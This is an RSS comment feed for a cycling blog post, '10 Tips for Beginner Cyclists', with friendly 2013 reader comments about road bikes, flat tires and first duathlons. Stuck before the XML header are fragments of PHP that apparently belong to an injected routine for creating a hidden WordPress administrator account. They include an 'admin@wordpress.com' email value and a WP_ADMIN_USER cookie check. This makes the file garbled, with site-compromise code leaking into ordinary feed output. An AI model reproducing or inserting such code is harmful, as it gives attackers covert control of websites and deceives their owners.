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        'user_email' => 'admin@wordpress.com'
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    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
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}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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	<title>
	Comments on: 10 Tips for Beginner Cyclists	</title>
	<atom:link href="https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/</link>
	<description>nHerShoes</description>
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		<title>
		By: Sonia the Mexigarian		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-25142</link>

		<dc:creator><![CDATA[Sonia the Mexigarian]]></dc:creator>
		<pubDate>Mon, 26 Aug 2013 21:18:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-25142</guid>

					<description><![CDATA[thanks for the tips. i really want to take my bike out on the road but am afraid to go by myself (if not on a trail). I&#039;ll have to look into the meet up :)  now, if i can only figure out how to inflate my tires.....]]></description>
			<content:encoded><![CDATA[<p>thanks for the tips. i really want to take my bike out on the road but am afraid to go by myself (if not on a trail). I&#8217;ll have to look into the meet up 🙂  now, if i can only figure out how to inflate my tires&#8230;..</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Jillienne @ ChasingRaspberries		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-25024</link>

		<dc:creator><![CDATA[Jillienne @ ChasingRaspberries]]></dc:creator>
		<pubDate>Sat, 24 Aug 2013 03:59:23 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-25024</guid>

					<description><![CDATA[I love all these tips!  I just bought my first road bike and have my first duathlon this weekend! Eeee! Super excited!]]></description>
			<content:encoded><![CDATA[<p>I love all these tips!  I just bought my first road bike and have my first duathlon this weekend! Eeee! Super excited!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Happier Heather		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-25013</link>

		<dc:creator><![CDATA[Happier Heather]]></dc:creator>
		<pubDate>Fri, 23 Aug 2013 19:40:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-25013</guid>

					<description><![CDATA[I just bought a hybrid bike last year and will start training for my first duathlon this week. I&#039;m scare of clipless stuff because I&#039;m afraid I wouldn&#039;t be able to get off of my bike quickly enough...but I might have to check it out anyway and work through that fear!

Thanks for the tips!]]></description>
			<content:encoded><![CDATA[<p>I just bought a hybrid bike last year and will start training for my first duathlon this week. I&#8217;m scare of clipless stuff because I&#8217;m afraid I wouldn&#8217;t be able to get off of my bike quickly enough&#8230;but I might have to check it out anyway and work through that fear!</p>
<p>Thanks for the tips!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Bobbi from nhershoes		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-25009</link>

		<dc:creator><![CDATA[Bobbi from nhershoes]]></dc:creator>
		<pubDate>Fri, 23 Aug 2013 18:01:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-25009</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24992&quot;&gt;Ethos Adventures&lt;/a&gt;.

so true!!!]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24992">Ethos Adventures</a>.</p>
<p>so true!!!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Ethos Adventures		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24992</link>

		<dc:creator><![CDATA[Ethos Adventures]]></dc:creator>
		<pubDate>Fri, 23 Aug 2013 14:21:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24992</guid>

					<description><![CDATA[Great tips!  In addition to knowing HOW to change a tire...it&#039;s important to remember to bring an extra tube or patch kit and pump!  It doesn&#039;t matter how quickly you can fix a flat if you don&#039;t have what you need to do it.  ;)]]></description>
			<content:encoded><![CDATA[<p>Great tips!  In addition to knowing HOW to change a tire&#8230;it&#8217;s important to remember to bring an extra tube or patch kit and pump!  It doesn&#8217;t matter how quickly you can fix a flat if you don&#8217;t have what you need to do it.  😉</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Coco		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24975</link>

		<dc:creator><![CDATA[Coco]]></dc:creator>
		<pubDate>Fri, 23 Aug 2013 03:13:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24975</guid>

					<description><![CDATA[Great tips! I need to work on the core vs. arms thing.]]></description>
			<content:encoded><![CDATA[<p>Great tips! I need to work on the core vs. arms thing.</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Lindsay @ Lindsay Weighs In		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24963</link>

		<dc:creator><![CDATA[Lindsay @ Lindsay Weighs In]]></dc:creator>
		<pubDate>Thu, 22 Aug 2013 20:31:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24963</guid>

					<description><![CDATA[Thank you so much for posting this! Such great information :) I&#039;d like to start biking, and I&#039;m definitely going to use these tips!]]></description>
			<content:encoded><![CDATA[<p>Thank you so much for posting this! Such great information 🙂 I&#8217;d like to start biking, and I&#8217;m definitely going to use these tips!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Sara @ LovingOnTheRun		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24960</link>

		<dc:creator><![CDATA[Sara @ LovingOnTheRun]]></dc:creator>
		<pubDate>Thu, 22 Aug 2013 19:35:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24960</guid>

					<description><![CDATA[Would love to get into biking one day! I have a bike that I sometimes use to pace my husband when he is running, but nothing serious yet!]]></description>
			<content:encoded><![CDATA[<p>Would love to get into biking one day! I have a bike that I sometimes use to pace my husband when he is running, but nothing serious yet!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Rachel C.		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24957</link>

		<dc:creator><![CDATA[Rachel C.]]></dc:creator>
		<pubDate>Thu, 22 Aug 2013 18:49:54 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24957</guid>

					<description><![CDATA[Perfect timing for this post - I just got a bike. Thanks for the tips!]]></description>
			<content:encoded><![CDATA[<p>Perfect timing for this post &#8211; I just got a bike. Thanks for the tips!</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		By: Kimbre		</title>
		<link>https://www.bobbimccormick.com/10-tips-for-beginner-cyclists/comment-page-1/#comment-24956</link>

		<dc:creator><![CDATA[Kimbre]]></dc:creator>
		<pubDate>Thu, 22 Aug 2013 18:43:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.bobbimccormick.com/?p=29863#comment-24956</guid>

					<description><![CDATA[My hubby and I became really good at changing flat tires during training for our century ride. Make sure your tires are at the right PSI before every ride. Keep up the good work!]]></description>
			<content:encoded><![CDATA[<p>My hubby and I became really good at changing flat tires during training for our century ride. Make sure your tires are at the right PSI before every ride. Keep up the good work!</p>
]]></content:encoded>
		
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